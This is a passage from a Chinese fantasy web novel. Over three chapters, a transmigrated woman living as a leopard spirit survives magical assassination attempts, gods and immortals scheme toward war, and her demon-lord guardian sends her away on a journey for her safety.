哪怕不是单纯被她的性格所吸引,也会被她的手段和她身份背后代表的深意所折服。 本来一切都进行的如火如荼,有一位妖界的狼狗大帅哥还对她展开了霸道的攻势,让她沉迷在爱情的滋味当中昏头转向。 与此同时一位冥界的旧皇子也被她接济安顿,两人相处有些暧昧。 就喜欢走感情线的陶灿灿已经能够幻想到未来左拥右抱的美好画面。 可最近不知道为什么,她做很多事情都有一种受到掣肘的卡顿感。 本来应该上传下达无比通畅的信息网,却像一个庞大的机器突然缺了一个微小无比却又十分重要的零件一样,一下子陷入了僵持,让人害怕它的崩塌。 陶灿灿知道肯定是哪里出了问题,可这种看似微不足道的小问题,一旦查起来特别费劲。 陶灿灿心中隐有不安,但在排除了所有的隐患之后,她又忍不住想这一切会不会是自己太过草木皆兵了。 云宛白还不知道原女主这边的进展,自从她活下来之后,剧情就变得大不相同。 这样一来,再参考原文的意义就不大了。 但是,她不是蠢货。 上一次血冥为她举办宴会,明明都是他的亲信,却仍然有不明势力混了进来,想把这一池春水搅乱。 他们不敢对杀神血冥下手,可作为血冥身边的“爱宠”,从她这个突破口上做文章,难度就没那么大了。 无论是魔界的人还是仙界的人,肯定都会将她视为眼中钉肉中刺。 云宛白一直以来都很相信自己的预感,那么她这一次有十足的理由相信,一定会有人在近期对她出手。 不把这一颗随时会爆炸的炸弹拆出来之前,云宛白都不可能睡好觉。 她能够想到这一层,血冥自然也能够想到。 为了防止意外的出现,血冥在乖乖周围设了层层防护,确保她的安危。 他还给了乖乖不少护身法宝,它的吃食全都都由统妖司先验了一遍之后才能入口,就差把她武装到牙齿了。 不过一味的保护显然是一种消极措施,血冥还特意训练了乖乖的自保能力,教她在各种状况下如何最好的保护自己。 没有人比血冥更懂仙界的腌臜手段。 所以云宛白听的很认真,积极配合他的行动。 只是,她也担心对方会不会因为这些大架势吓得缩回了头,那以后再想把他们钓出来可就难上加难了。 她的忧虑不无道理,但在血冥看来,危险还是要尽早扼杀比较好,最好不要让它有任何能够冒头的机会。 就这样疑神疑鬼了大半年之后仍然不见动静,血冥和云宛白这才放松了警惕。 不得不说,背后的黑手非常了解他们,同时也不缺耐心部署的时间。 就像毒蛇潜藏在树林中一样完全不见踪影,只求一击毙命。 …… 在云宛白的行动范围重新恢复之后,为了更好的锻炼它,血冥强行让自己狠下心来,把更多的生存训练提上了日程。 再加上乖乖变得越来越有主见,它和血冥犟了很久,最终还是争取到了独自出行的权利。 只不过她能够出行的范围相对有限,这些地区基本上都在血冥的掌控范围之内。 但不管怎么说,这也算是踏上了独立的第一步,是个值得庆祝的好消息。 更何况云宛白比谁都要珍惜自己唯一的一条小命。 她把血冥叮嘱的所有话都放在心间并严格照做,随时按照他们约定的记号留下踪影以证平安,没有一次漏掉。 它的听话,也让血冥对它放下心来,慢慢开放越来越多的自由空间,连带着保护它的人也在一点点的撤下。 血冥也担心这支所谓的保护队会不会也被不明势力侵袭,反而成了伤害乖乖的缺口。 与其不停的轮换人员,倒不如培养乖乖的警惕意识,以及给她更多的防身法宝来的更有用。 该说不说,血冥在乖乖身上花的心血还是挺大的。 为了方便出行,血冥特意为它设了一条能够直接通往雨哭林的传送阵。 雨哭林是魔尊为它开辟的第二个修炼地点,这里常年阴雨连绵,风声似尖啸,哭得十分凄惨,植物也生长的格外奇异怪诞。 而且能够在这里常年生存的生物,无一例外都拥有着与环境融为一体的极强隐蔽能力,一不留神就容易中招,非常考验一个人的观察水平。 顺带提一句,魔界最为出名的堕魔污泥就生长在雨哭林的正中心。 在这里,哪怕是魔界一星大将来了,也必须要实时保持高度的精神集中才能够存活下去,是一个能够进阶修炼稳固魔心的好地方。 血冥亲自来考察了一番之后,认为这里能够很好地弥补乖乖在环境和法宝利用上的不足。 就好比一个习惯了赤手空拳对战的无冕之王,未来前途无量。可这样的人也最容易死在突如其来的法宝攻击之下,死在轻敌之下。 只有学会利用手头的所有武器,才能真正立于不败之地。 所以,自乖乖挑战完了魔域边缘森林的所有怪物之后,血冥认为二刷对它的意义不大,也不够新鲜。 乖乖的领悟能力很强,只要它战斗过一次,那么所有的细节它都会铭记于心。 没必要在挑战那些一成不变的东西。 而雨哭林的环境气候变化很大,连血冥都很难预料到接下来到底会出现什么。 增强了趣味性不说,也更加耐刷一些。 前几次都是血冥带它来的雨哭林,并且要求它每次训练都必须使用一次法宝和一次环境隐蔽,强行让它适应新的作战方式。 直到它慢慢习惯“好东西”,学会将优势发挥到最大化之后,血冥才允许它一个人前来。 当然了,一路留下记号依然是必不可少的流程之一。 说起来云宛白还得感谢血冥,在她对自己的肉身力量逐渐上瘾的时候立马进行干预。 毕竟作为现代人,云宛白懂得“七步之外枪快,七步之内枪又快又准”的道理。 又不是像血冥这样肉身无敌的怪物,她没必要硬搏。 —— 阴天,刺雨。 云宛白伏下身,将重心放低,悄然在雨哭林中前行。 从一开始踏在树枝上发出咔嚓的声音,到现在踩在落叶上只发出窸窸窣窣的声音。 它的戒心从踏上林中的那一刻开始,就直接拉到了满值。 云宛白不敢在这里有任何的大意。< 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干脆利落的用爪子划开泥巴状的不明生物,绿色的血液呈喷射状溅出,在泥土上不停地冒着泡。 在雨夜中,云宛白的瞳孔反射着莹莹幽光,妖兽的凶性显露无疑。 它慢慢平复心情,控制奔腾的血液重新分配到四肢,只剩下心跳声还在耳边捶打着。 今日运动量已经达标。 云宛白清点了自己的战利品:干掉不知名植物×3,不知名动物×2,一株闻起来特别上头的荧光草×1。 不错,收获颇丰。 虽然过程非常的惊险刺激,但是在这里她能感受到血脉基因的兴奋和狂欢。 特别是去沼泽圈那里滚完泥巴之后心情更好了。 云宛白愉悦地返回传送阵,期间也仍然不忘保持该有的警惕,按照习惯给血冥留下即将返程的追踪记号。 一切都显得那么的平静安全,直到…… “我靠,我那么大一个传送阵呢?”云宛白震惊。 原本安放传送阵的地址俨然被夷为了一块平地,平地上还长出了不少雨哭林的植物,郁郁葱葱的模样根本不像刚刚才被铲平消失的样子。 可是距离她传送过来也才不到四个小时。 这,怎么可能? 云宛白皱起眉头,爪垫微微用力抓起泥土。 除非…… 【警告!】 【警告!】 【警告!】 【目标危急值一百!】 【请冷静应对!!!】 霎时间,云宛白的后脑勺像是被惊雷炸开了一样,全身发麻,瞳孔瞬间缩成竖线。 这还是她穿书以来,他的经受是第一次对她发出如此危险的警报声,严重性不言而喻。 糟糕。 有人在锁定我。 有人,想杀我。 当下云宛白脑海里蹦出的唯一想法就是—— “逃!!!” 早已本能做出逃生反应的四肢将能量蓄满,在此刻瞬间爆发出了强大的弹射力。 云宛白以不可思议的力量飞跃到了空中,甚至发出了突破极限的破晓声。 与此同时。 砰——!!! 巨大的爆炸声从她原本脚下所站之处传来,猛然炸出了黑色的深坑,冒起滚滚浓烟。 而爆炸产生的气波撕扯扭曲了空间,像蛰伏已久的毒蛇终于露出了尖利的獠牙。 无数根尖刺从爆炸的中心向空中射出,每一根都来势汹汹地直冲云宛白。 这死局,一环套着一环,叫人防不胜防。 看来,幕后之人根本不打算让她活着离开雨哭林了。 但云宛白会如他们所愿? 呵,做梦。 50-60 第51章 第51章什么人暗算我! 云宛白自己本就有做记号的习惯,对这种细枝末节格外在意。 再定睛一瞧,这些浅白色记号并不普通,材质也并非寻常粉末或石子刻划而成,粼粼微光,倒像是珍珠粉的光泽。 她当下便得出了判断:这绝不是顽童随手乱涂乱画,一定是有什么人刻意留下来,通过隐蔽的方式传递信息。 秉着这样的直觉,也出于谨慎和探究的考量,她不动声色的按平日表现正常行走,但目光始终关注着墙角的记号,将它们全部记了下来,在脑海当中快速分析。 一番验证之后她恍然发现,这些记号果真非同寻常,是另一套用于内部交流的语言系统,如同她和冥冥的记号信息一样自成体系。 不过记号这种东西万变不离其宗,再加上云宛白和血冥早就将记号玩出了花来,对其进行重组破译不是什么难题。 很快她就连蒙带猜的翻译出了大概的意思: 【冰棘豹,此路,等候,埋伏】 连起来之后不难发现,应该是有人按照她的行进路线沿路做好了标记,好通知同伴等候时机对她出击。 云宛白心中一凛,她不知道这些标记中的【等候】是什么意思。 究竟是被她提前一步发现了意图,还是指今天就要对她动手。 如果是后者的话,那就麻烦了。 她不敢有所动作,状似平常地往回走,生怕被埋伏之人发现她早将标记破译的秘密。 明都已经不安全了,有陌生势力渗透了进来,她必须一回去就马上告诉血冥这件事。 如果她还能回得去的话。 平日里,在这条小巷中来往的人虽然不多,但零零散散总归有一些。 可现在,整条小巷中逐渐只剩下了她一个人行走的声音,安静的极其反常。 此处危险。 云宛白意识到了不对劲,她不由得加快了脚步,赶紧向着出口奔去。 为了加快速度逃离 这个诡异的地方,她甚至在奔跑途中直接变为了豹身,迅猛向前逃命。 不知道有几人埋伏的情况下就仓促应战,这显然是个不明智的选择。 出口就在前方,只要她能够跃入传送阵法展开护卫结界,她就能够安全无虞。 快了,就快了! 耳边是簌簌风声,云宛白快如闪电。 但就在这时! 有一种致命的威胁由远及近向着她的脖颈袭来,比她的速度还要快上数倍! 来不及跑了,必须反击。 云宛白全身的毛发瞬间竖立,瞳孔倏地变为尖锐竖瞳,尾巴高高竖起正要反身突刺。 轰的一声——!! 云宛白只觉得自己被一堵气墙狠狠打中,根本来不及闪避,砰的被撞飞了很远。 她整个人头冒金星,并伴有反胃呕吐等强烈症状,可她完全不敢掉以轻心,顶着浑身的疼痛强行起身,目呲欲裂地看向空中。 就在同一时刻,空气扭曲化为一爪向她勾来。 随着破空的一声:“定!” 她忽地僵住身体动弹不得,像一只木偶被人按在了墙上,旋即,灵魂好似被人强行撕扯剥离了出来,这种巨疼几乎令她七窍流血、五感尽失,只能发出无声的哀嚎。 她的感觉没错,事实就是如此。 天旋地转间视角发生了变转,本来她还不知道发生了什么,可低下头一看,自己的豹身正颓然失去意识倒在了地上。 而云宛白的魂魄被某种力量勾出了躯体,漂浮在了空中。 疼痛感已经完全消失,她失去了所有的感知力,就连情绪也都一并消失,只剩下极致的冷静和漠然。 这是哪门哪派的攻击方式,竟如此诡异!? 这无疑是一场云宛白从未遇见过的战斗,也是她从一开始就完全处于弱势的战斗。 但,此局并非无解。 多亏了情绪的抽离,在失去了恐惧害怕等所有负面情绪之后,云宛白立马回忆起了能够反击的招式。 还记得血冥给她的诸多秘籍当中有这样的一本,能将自己在虚实状态中来回变转。 虽说上一次练习这招已经是几年前的事了,虽不精通,但她多少还记得该如何施展。 眼下她在明敌在暗,自己的弱势太过明显,想要扭转局面,光用虚体和敌人对战显然是以卵击石。 必须要变回豹身,她才有机会试出对方更多的破绽。 来不及思考太多,云宛白有且仅有这一招能破局,她立马掐诀念咒,地上的豹身顿时如星星点点散到空中,又如落叶般围绕着云宛白的魂魄猛烈旋转,将她紧紧包裹。 簌的一声! 虚实相结合,感知力重新回到了体内,云宛白掌控身体平衡落在地上,同时用金手指把疼痛度调到了百分之一。 这意味着她真的要动真格了,不惜任何代价! “呵,小豹子,有点本事啊。”虚空中,这道声音从四面八方传来,让人分辨不清所在的方向。 云宛白耳朵耸立努力辨清真声,嘴上嗤了一声:“装神弄鬼,为何不敢现于人前?” 对方不语,将回应化为了攻击,朝她又急又快地再伸一爪,满是狠辣。 不过这一次云宛白有了防备,在全神贯注中成功躲开了攻击。 既然知道对方了出招方式,她就不会在同一个错误上跌倒两次。 她已然发现,尽管对方出招巧无声息,可每次出招前空气中都会出现透明的扭曲波动。 虽是虚空招数,但同样有破绽。 “聪明,可若我不止一人呢?”那道声音桀桀笑道,听的云宛白毛骨悚然。 什么意思? 不止一个虚空怪? “小豹子,接招!” 左右两侧同时扭曲,各伸一爪狠狠抓来,云宛白呼吸一滞,强行扭转身体,以超出极限的角度好不容易躲开。 没等她喘上一口气,四面八方各出现了数道夺魄钩,朝她狠狠抓来。 该死的,怎么这么多! 云宛白倍感吃力,不过她从来没有想过放弃,在躲开招式的同时还在不断寻找反击的机会,用她全部所学技能不停试探对方的弱点。 她有试过使用法宝,可对虚空怪来说根本不起作用,还白白浪费自己保命的底牌。 而且这块战斗区域似乎也被锁定,云宛白无法向外传出任何消息。 但即便如此,云宛白还是沉下心来继续战斗,没有放弃过希望。 这是她历经各种生死绝境后锻炼出来的坚韧意志,或者说,这才是她真正的秘密武器。 靠着意志,她挑战了无数次不可能,这一次她也定然能成功。 不到最后一刻,谁能知道结局如何? 只是越对战,她就越觉得对方似乎并不急着将她一击毙命,而是像猫捉老鼠一样慢慢逗弄她,直至她筋疲力尽。 可这是什么道理? 既然要取命,就理应快准狠,但对方居然比她还要能拖延时间。 这场暗杀的目的到底是什么? “给个痛快!”云宛白出声,故意用这样的态度试图诈出对方的意图。 但对方并不理会,只是桀桀作笑。 这种被瞧不起的感受实在令人恼火,而且再拖下去,情况对她只会更加不利。 数不清过了几招,云宛白的胳膊被抓的血淋淋,背上的毛发也被薅秃了一大块,连带着那块皮肉都被削去了三分。 又是一次交锋,云宛白堪堪落在地上,脚步明显踉跄了一下,她的右后腿微微抬离地面一寸,正隐隐颤抖。 剧烈的疼痛感告诉她,右后腿好像已经骨折了。 但这一次,她的脸上却露出了自信轻松的笑容。 因为就在刚才,使尽浑身解数的她终于想起了自己的本命火焰,试图用它从包围圈中逃走。 结果这一试,她发现原本能无视任何技能伤害的虚空怪终于感受到了疼痛,发出了被灼烧之后的痛苦嚎叫。 什么叫绝境逢生? 云宛白顿时士气大涨,决定乘胜追击。 为了验证心中猜想,云宛白不等对方发起攻击,云率先冲了过去。 腾的一下,她浑身被透明色的本命火焰包裹,向着扭曲波动的空气直接撞去。 一边奔跑,她一边掐诀念咒让自己也化为虚体,但她的本命火焰仍附着在魂魄之上熊熊燃烧着。 这股火焰透着极致的冰冷,所过之处一片冰雾,称之为冰焰或许更为恰当,它的出现连带着空气波动的程度也变得越发明显,对方的行踪不再诡谲难觅。 扭动的气墙不停向后延伸,就说明对方当真怕了她的冰焰,正在不停的后退。 然而冰焰的出现大大延缓了对方的行动速度,云宛白最终还是更快一步,狠狠撞了上去。 “啊!!!” 四面八方的尖啸声向她挤压而来,听的耳朵极为刺痛。 但云宛白丝毫不退,还愈发加大了冰焰燃烧的猛烈程度。 砰的一声! 施加在这片领域上空的结界总算被破,大量新鲜的空气灌入,冷冽的风令云宛白头脑清明。 她再次催动,让自己从虚体转变为了实体。 封锁的结界一旦被破便难以恢复,隐藏在虚空的神秘人眼见计划暴露,临行前向她击出了一掌之后便飞快遁走。 云宛白还没来得及露出劫后余生的笑容,看到这一掌后匆忙扭身,但还是结结实实挨了上去。 好在这一掌打偏在了她的后腰,并不伤及要害。 云宛白猛地坠地,疼到咬牙,但仍未掉以轻心。 在地上飞快留下了记号,又用传讯石赶忙向血冥发送危机警告后,她这才一瘸一拐地迈向传送阵法展开护卫结界,把自己传回了魔界。 血冥来的很快,几个呼吸间便出现在了传送阵旁,阴沉着脸将她立马抱回到魔殿。 好在云宛白的伤口看起来可怕,但实际上都没有伤及要害,唯一要静养的就是她的魂魄。 要知道,魂魄被勾出躯体可是一件极为伤神的事,但也多亏了血冥送给她一大堆秘籍,竟然真的派上了用场。 不过归根结底,还是得益于云宛白学习认真,把所有的秘籍都过了一遍,这才能逃出生天。 只可惜幕后之人的行踪极为小心谨慎,即使匆忙逃离也并没有留下任何能够表明身份的痕迹。 也就是说,云宛白挨了一顿闷揍。 对于这样的结果,血冥很不满意,但也只能暂且忍下怒火。 他心疼地帮乖乖换药包扎,只能让她近期先别外出,待他再去探查一下情况再说。 云宛白很配合,表明等她伤好后正好可以闭关修炼一段时间。 这一次的魂魄对战让她明白了自己的短板,但也让她找到了关键时刻能够致胜的法宝。 虚实体变换这一招很有用,需要好好掌握,而被她一直遗忘在角落的本能火焰也应当提高重视程 度,多加练习才行。 至于怕死? 豹意思,这个词可不在云宛白的字典上。 她的字典上只有一个字:赢! 该死的虚空怪,别让我碰见你第二回,不然有你好苦头吃! 第52章 第52章向着冥界,出发!【营养…… 神界。 广袤无垠的云海中央,伫立着神界至宝——灵台树。 灵台树硕大无比,枝繁叶茂,叶若黄金,微风拂过时发出如风铃般清脆的碰撞声,奏响着天底下最美的韵律。 周身仙雾缭绕,沉浮间卷起片片灵叶,充沛的灵气藏于云间,呼吸一口便灵台清明,延年益寿。 而就在这灵台树下,安置着游神山石制成的大棋盘,随着天道规律自动移动着,石云相抵间的沉重挪移声,像是历史的巨轮厚重而又深沉,庄重而又肃穆。 棋盘旁放置着一张玉石茶桌,二人对坐共饮。 其中一人黑发鹤颜,举手投足间带着莫名的韵味,远处的星辰随他手势而动。 而另一人苍老白发,却向对方尊敬拱手,操着年迈的声音说道: “神君大人客气了,这杯灵露,乃由灵台树万年果实所制而成,可抵修行千年。这实在是太过贵重,本长老……小老儿受之不起啊。” “哎,大长老可千万别这么说。”神若凡笑道,语气亲切,甚至伸出手抵住对方的杯底轻轻向上一托,示意对方将其饮下。 能得到神君大人如此礼遇,大长老又激动又受之有愧,连忙惶恐摆手,一滴不剩地仰头而尽。 “神君大人。”感受到身体明显的轻盈年轻,他的眼神越发狂热了,低下了自己高傲的头颅向其称臣。 “不必多礼,”神若凡慈祥一笑,“也多亏了大长老的照拂,我儿才能在仙界坐稳他的宗主之位。” “不敢当,不敢当。”这回大长老没再摆手,而是笑着抚须点头,应下了这份功劳。 他们当中,一位是神界的掌管者神若凡,一位是谪云宗的大长老妙心。 此番一聚,倒也代表着仙神二界,在这共议天下大事。 当年神若凡将神思渺贬下仙界后,他便借机与仙界第一宗谪云宗的现任大长老相识。 除了能更好的掌控仙界之外,他也能更好的监视他那调皮捣蛋的好儿子。 仙魔二界不足为惧,可他的儿子是一个不可控的变数,必须要约束。 虽说神界想要脱离六界的范畴自立门户,但神若凡并不是一个没有野心的人,他想让神界超脱世外,成为比另外五界更高一层的存在。 但据他所知,神思渺最近在仙界进行了一番大动作,并隐隐有颠覆天道秩序的威胁。 不仅没有打压到魔界嚣张的气焰,反而令仙界人人自危,气势大降。 这样的变动可不是他乐于见到的,还很有可能坏了他精心谋划的大计。 要想破局,归根结底就是一句:仙魔大战必须进行,且越快越好。 因此他才急匆匆的召来大长老,互相商讨一番。 “您是说,宗主大人他?”大长老神情严肃地抚了抚须,面容不解,“可宗主大人并不像是……” “犬子顽劣,又善伪装,我本意是想锤炼他的心性,我绝不愿意见到仙界因他而动荡。” 神若凡露出了悲天悯人的神情,想摆出一副严父的架势,可又接着一阵唉声叹气,眉眼慈爱。 “他母亲走的早,我又因掌管神界无暇顾及,对他亏欠良多,他这么做我一点都不意外。” “所以,此番召你前来也是想共商大计,魔界已然吞并了妖、冥两界,是威胁全天下的毒瘤,我们必须将其铲除,还天下太平。” “神君大人圣明。” 两人用最冠冕堂皇的话为自己所在阵营谋求利益,一个个心眼极多的打着哑谜,来回拉扯。 讨论了一炷香的功夫都不见进展,神若凡的眸色中闪过一丝不耐烦。 对面这人不愧是仙界的老滑头,在他面前都敢狮子大开口。 可要想拉拢仙界,这位大长老就是一个极其关键的枢纽,必须要争取到自己手中。 忍着内心的膈应,神若凡不得已地只好暗示,若大事能了,从未开放的神界门户将为大长老敞开,并允他十个名额一同加入神界,共同参悟天道演化,维持天道秩序。 这个条件一下子就打动了对神界神往已久的大长老,双方一拍即合。 “既然如此,这个给你。”神若凡依然保持温和的神情,从袖中拿出了一只锦囊。 大长老什么也没问,郑重地用双手接过收在了怀中,表情露出了一丝明悟。 “不日的仙魔大战,必将是一场灾难。”神若凡叹道。 “是啊,若灾难能提前化解……” —— 极地冰川。 魔尊血冥的冰殿大堂。 “你知道我怀疑谁吗?” 神思渺坐在茶桌旁,一只手端起茶杯,侧过头盯着杯中的悠悠清茶,扯了扯嘴角冷笑道。 “谁?”血冥坐在他对面,神色严肃。 “我那好爹,神若凡。” 神思渺眼神冰冷,用出了杀人的气势,猛地将杯中茶水一饮而尽。 血冥不由得呼吸一窒,小心谨慎地再一次检查起了冰殿内的禁制。 嗯,封锁的很好,不会被神界查探道。 血冥因紧张而耸起的肩膀这才慢慢放下。 “你是说,这次是神界插的手?”意识到好友说了什么之后,血冥不由得冷了脸。 “呵,除了他还能有谁?”神思渺站了起来,背过手踱步,自嘲道,“夺魄之术,当属他用的最多,这点你不是也知道吗?” “……我以为是仙界动的手。” “仙界肯定参与了,但幕后主使者一定是他。” 神思渺在还未被贬下神界之时就已经是出了名的天道宠儿,是天生的神算子。 既然神若凡能够算得出他儿子的行动,那神思渺自然也能够算出近日来的风起云涌到底源自于谁。 就是他的好爹,神若凡。 “神界迟早会下场,这点我清楚,可现在就忍不住冒出水面……是他们心急了?”血冥给出了自己的猜测。 “不错,大概是他安插在仙界的棋子被你我端掉了不少,因此产生了些许危机感吧。” 神思渺笑得很直白:“父子连心本是个笑话,但用在这种时候,倒是我的一大利器呢。” 血冥紧紧盯着好友的神情,生怕他出现什么异常的情绪。 努了努嘴,血冥还是没有接上这句话,就只好走上前安慰地拍了拍神思渺的肩膀来代替内心表达。 “我没事,我迟早会和他斗个你死我活,这是我跟他之间的宿命。” 神思渺冲血冥笑了笑,重新恢复了冷静。 “既然知道幕后之人是谁,我们反倒可以将计就计。”神思渺看向血冥,两人默契的同时眼睛微眯,重新商讨起了大计。 在一问一答的探讨和完善中,二人决定趁着这次机会腾出手,反诈一波仙界。 他们预想过结局。 输了的话影响不大,但要是赢了那就是血赚,怎么样都值得一试。 血冥更觉得无所谓,为了实现大业,他什么都能够牺牲。 能以这样的小损失换取庞大的利益,他觉得可行。 “但此事依然凶险,你挺得住吗?”神思渺不免有些担心。 自己这好兄弟什么都好,就是有时激进了一些,以卵击石这种得不偿失的事情也做得出来。 “我可以, 没问题,只是乖乖她……“血冥蹙眉,很不放心。 听到了这句,神思渺反倒放下心来。 也对,现在的血冥可不是从前那位孤独的游魂,他有了弱点,也相应拥有了将他拴在人间的锚点。 而这个支撑就是血冥养的那头冰棘豹。 神思渺点了点头:“也是,除了你之外,就她最容易遇到危险,所以你必须把她支开,支得越远越好。只要不同你一道,她反而没那么引人注意,自然也不会有危险特意跑去寻她。” 直接杀血冥,可比先杀冰棘豹再杀血冥要直接了当的多。 他了解仙界,也了解神界,只要冰棘豹能离开血冥,自然就能远离那些危险。 “我也这么想。”血冥垂眸,说的有些勉强。 “至于怎么安排,就要看你自己了,”神思渺对血冥点了点头,“要尽快,越早越好。” “嗯。” 谁都不知道神思渺和血冥到底在大殿内说了什么。 云宛白正在冰殿外的雪地中躺平,不对,她在守护着。 不过冰殿什么动静都没有,显然被人从里面封锁了起来。 她现在唯一知道的,就是神思渺为了找血冥谈事,特意跑来魔界,只不过魔殿人多眼杂很是危险,实在没地方可去的他们就来了极地冰原。 不过看神思渺刚进去那会儿严肃认真的样子,该不会跟仙魔大战有关吧? 云宛白很想竖起耳朵跑进去偷听,毕竟她有血冥亲自给她的的破禁令牌,但她还是忍住了。 冥冥是好说话,可男主神思渺可不一定。 云宛白看过小说前情,神思渺现在已经把人家陶灿灿囚禁了起来,说变脸就变脸,可怕的很。 而自己跟神思渺又没感情,要是被针对起来的话一定更惨,还是算了算了。 哎,怎么讲了这么久还没结束啊? 她抖了抖尾巴,无心修炼。 但就在这时,冰殿忽然打开,神思渺陡然化作一道白光飞速消失在天际,行色匆匆。 而她自己则被血冥叫到了大殿内。 血冥用手指了指茶桌一旁的空位,示意她坐下。 “这么认真严肃干嘛?怪吓人的。”云宛白嘟囔了一句,但还是老老实实地坐好了。 血冥没工夫解释,耽误一秒都是对乖乖安全的不负责,他开门见山,对云宛白发布了一项任务。 “你已化形,按理来讲你也算是往成年迈了至关重要的一步,但在让你真正独立之前,我还需要对你进行一场成年的历练考验。” “你需按照我给你的地图,从魔界出发,途经妖界,最后去往冥界,帮我摘下一朵幽冥花回来带给我。” “只要你能完成这项任务,我就认定你已有了成年自立的能力,是一只真正独立自主的冰棘豹,以后你的自由你说了算,我不会再过问。” 血冥的意图很明显,他就是想把乖乖给支开,让她远离最危险的区域,跑去其他地方避一避风头。 在历练任务路上遇到的危险,绝对比神界插手仙界之后来刺杀她的危险要小的多。 再怎么舍不得,血冥也必须逼着自己硬下心肠送她离开。 因为这是保全乖乖性命的最好方法。 没有之一。 血冥讲的一本正经,听上去好像很合常理,但云宛白总感觉哪里怪怪的。 “这么突然吗?”她不禁问道,连带着对获得真正的自由都显得没那么激动了。 “是,必须马上出发。”血冥态度很是坚决。 从来没见过冥冥我想把他送走的,云宛白不解,直觉告诉她这很不对劲,可她又说不出为什么。 顶着被发现金手指的危险,云宛白垂下头飞快跑去意识空间翻了翻小说,但小说里也没写明白前因后果。 似乎没问题? 云宛白歪头,她隐隐约约察觉出这或许和冥冥他们对仙魔大战的布局谋划有关,不过她也不敢确定。 但冥冥不会害自己,留下来或许才是累赘。 而且出去闯荡一番也正合她的心意。 从来到这个世界的一开始云宛白就梦想过这样的场景。 天大地大,唯她浪迹天涯,以天为被以地为席,整个旅途又浪漫又充满了冒险。 反正再思考下去也思考不出什么结果,反而还会误了冥冥的大事,一切等上了路再说吧。 迎着血冥认真的神情,云宛白点点头答应了任务。 很快,整座统妖司开始连轴转,飞速为她准备成年历练需要用到的物品,宿庚满含热泪地将她送走。 在踏上旅途的那一刻,她也不知道为什么,就是莫名回头望了一眼血冥。 从来都会注视着自己离开的冥冥,这一次却留给她潇洒离去的背影。 云宛白抿抿嘴,也利落转身,大步踏上了征途。 走! 向着冥界,出发! 雄赳赳气昂昂地刚走出没几步,背后便传来了一阵气喘吁吁地大喊: “喂!你等我!等我一下嘛!” 第53章 第53章三千万,记得还我 这熟悉的声音。 这熟悉的虚弱。 “青云?!” 云宛白惊喜地转身,就看见青云上气不接下气地跑了上来,肩上还扛着一个鼓囊囊的大行囊。 她高兴地迎上前几步,哈哈大笑地拍了拍他的肩膀。 砰砰砰,声音巨响。 “手劲那么大,是想捶死我啊。”青云捂着肩头后退一步,怒瞪。 “切,明明是你太弱了。我这不是高兴嘛,没想到你能来送我。”云宛白立马怼了回去,但语气很是雀跃。 闺蜜俩嘻嘻哈哈了一阵,很快并肩同行,云宛白还把青云身上的行囊夺了过来,扛在自己身上。 “哎,这就不用你拿了吧,我好歹也是个大老爷们儿。”青云想抢回来。 “就你这小身板,得了吧你,”云宛白翻了翻白眼,抬起胳膊做了个举重的姿势,斜眼看向他,“没肌肉的弱鸡不要说话。” 青云:“……” 捶死你啊臭豹子! 嬉笑打闹很快缓解了云宛白即将远游的惆怅情绪,两个人也都慢慢收起了小孩脾气,难得的安静了下来。 云宛白问道:“还没来得及问你,你怎么想着要送我?” “这不是老煞告诉我,说你要去进行成年历练了嘛。这种任务三年五载都有可能,而且路上凶险,以后见不见得到你都另说,我觉得我得来送一送你。” “臭鸟,能不能盼着我点好啊,赶紧给我呸呸呸。” “好好好,我呸呸呸,我的意思是我可没你命大,万一我出了事真见不着你,或者等你回来,我没来得及给你接风洗尘……反正我就你这么一个朋友。”青云的声音越来越弱,声如蚊呐。 云宛白不由得向他望去,结果青云飞快把脸扭到一边高高扬起,只给云宛白看到他晃荡的耳坠。 “你就只是送一送我?那你背着行囊干嘛。” “送一送你,顺便把行囊也送你啊。”青云眨了眨眼,又用手揉了一下眼睛,咕哝了一句,“这路怎么还有沙子呢。” 云宛白没注意到他的动作,瞪大眼睛“哦?”了一声:“这一袋东西是你要给我的?” “对啊,你赶紧收到你储物吊坠里保鲜吧,这里头可都是我亲自串成签的烤肉,有肥的有瘦的还有肥瘦相间的,都是你爱吃的羊肉。调料我也给你摆里头了,青梅酒给你放了两坛吧,别的都被我喝完了,一下子我也买不着新的。” 青云絮絮叨叨,一毛不拔的铁公鸡居然还有如此贴心的一面。 虽然这些贴心真的很“青云风”。 “谢啦。”云宛白高兴地眯起眼睛,将行囊收了起来,也收下了青云的一番好意。 “害,这有什么,花的也不是我的钱。” 嗯?云宛白扭头。 “哈哈,”青云尴尬挠头,“就,之前的报酬还没花完,严格意义上来讲确实没花我的钱嘛。” “但心意绝对是我的,嗯,我诚意可够了。”他急急忙忙补充。 云宛白扑哧一笑,点点头:“没错,咱俩可是最好的朋友,还是你够意思。” 青云嘿嘿一笑。 说实话,能忍受青云这个怪脾气的家伙没几个。 当个交情不深的普通朋友倒还好,但深交起来还得脾气合得拢才行。 云宛白就是这么一 个对他胃口的人,不记仇不计较,无论恩怨当场就报。 也正因为云宛白正眼看他(虽然打闹的时候总会斜眼白眼),不拿他当个笑话看,青云才敢慢慢地交付出自己的友谊之心。 两个人并肩走,大部分都是云宛白在听青云说话。 从日出走到日落,他们也从领城走到了城郊。 云宛白忽地停了下来:“接下来,你不能再送了。” 青云一驻足,瘪嘴。 他自然知道这个道理,其实在走出十几里路之后他就应该停下的,但他装作不记得,硬是跟到了现在。 “其实我有点知道我为什么要历练,不,应该说为什么历练的这么突然。”云宛白喃喃。 “我也知道。”青云闷闷说道。 前段时间云宛白遇袭的事他知道,他还上门来探望了一次。 到底是从仙界出来的,青云不是没脑子,他只是以前脑子动多了现在不爱动,但这并不代表他不懂。 当然了,装成傻子也挺好,起码没人烦他,做事也更能随心所欲。 为什么能和云宛白那么合得来,就是因为他们都发现对方是个扮猪吃老虎的角色,只不过程度和性格各不相同罢了。 青云只能说,现在就是云宛白出去游历的最好时机,再晚就来不及了。 “那就到这里吧。”青云主动说道。 云宛白扭过身,郑重对他道了一声谢。 千里送鹅毛,礼轻情意重。 青云于她也如是,这一路的陪伴虽然短暂,但已弥足珍贵。 如果她的推测正确的话,自己只有赶紧离开魔界才能更好地达成冥冥的目的。 她知道自己是血冥的弱点,也比血冥弱的多,要想对付血冥,从她身上下手会更容易。 所以她必须要小心谨慎,赶快远离是非之地,也要赶紧逃离仙界的监视。 她看过地图,血冥画给她的路线都是荒无人烟的小道,为的就是让她不被发现。 如果青云一直陪着她,那她暴露的可能性就更大,也就失去了历练躲避追查的意义。 因此,是时候分道扬镳了。 